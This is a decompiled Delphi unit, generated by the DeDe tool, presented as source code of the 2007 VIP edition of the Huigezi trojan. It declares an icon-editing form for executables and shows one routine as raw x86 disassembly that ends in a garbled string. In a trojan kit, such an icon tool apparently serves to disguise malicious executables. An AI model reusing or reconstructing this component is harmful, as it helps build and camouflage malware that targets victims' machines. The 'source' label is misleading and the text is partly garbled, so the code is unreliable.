exetoolunit.pas

灰鸽子2007VIP版源码

unit ExeToolUnit;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics,
  Controls, Forms, Dialogs, StdCtrls
type
  TExeToolForm=class(TForm)
    DSF: TspDynamicSkinForm;
    OpenDialog2: TOpenDialog;
    Panel1: TspSkinPanel;
    IconListBox: TListBox;
    Panel2: TspSkinPanel;
    Label2: TspSkinStdLabel;
    FilenameEdit1: TspSkinEdit;
    Label3: TspSkinStdLabel;
    Image1: TImage;
    Button2: TspSkinButton;
    FindButton: TspSkinButton;
    Panel3: TspSkinPanel;
    Button1: TspSkinButton;
    Label1: TspSkinStdLabel;
    Panel4: TspSkinPanel;
    IconInfo: TListBox;
    Label4: TspSkinStdLabel;
    Panel5: TspSkinPanel;
    LibraryIcons: TListBox;
    Label5: TspSkinStdLabel;
    SaveDialog1: TSaveDialog;
    Button4: TspSkinButton;
    OpenDialog1: TOpenDialog;
    OpenDialog3: TOpenDialog;
    ZhuanTai: TspSkinLabel;
    procedure Button2Click(Sender : TObject);
    procedure IconListBoxClick(Sender : TObject);
    procedure IconListBoxDrawItem(Sender : TObject);
    procedure LibraryIconsClick(Sender : TObject);
    procedure FindButtonClick(Sender : TObject);
    procedure Button4Click(Sender : TObject);
    procedure FilenameEdit1ButtonClick(Sender : TObject);
    procedure Button1Click(Sender : TObject);
    procedure _PROC_0059A160(Sender : TObject);
    procedure _PROC_0059A168(Sender : TObject);
    procedure _PROC_0059A184(Sender : TObject);
    procedure _PROC_0059A300(Sender : TObject);
    procedure _PROC_0059AAA8(Sender : TObject);
    procedure _PROC_0059AB55(Sender : TObject);
    procedure _PROC_0059AE2B(Sender : TObject);
    procedure _PROC_0059AE71(Sender : TObject);
    procedure _PROC_0059AEB8(Sender : TObject);
    procedure _PROC_0059AEC0(Sender : TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end ;

var
  ExeToolForm: TExeToolForm;

{This file is generated by DeDe Ver 3.50.02 Copyright (c) 1999-2002 DaFixer}

implementation

{$R *.DFM}

procedure TExeToolForm.Button2Click(Sender : TObject);
begin
(*
0059A214   55                     push    ebp
0059A215   8BEC                   mov     ebp, esp
0059A217   6A00                   push    $00
0059A219   53                     push    ebx
0059A21A   56                     push    esi
0059A21B   57                     push    edi
0059A21C   8BD8                   mov     ebx, eax
0059A21E   33C0                   xor     eax, eax
0059A220   55                     push    ebp

* Possible String Reference to: '闆犳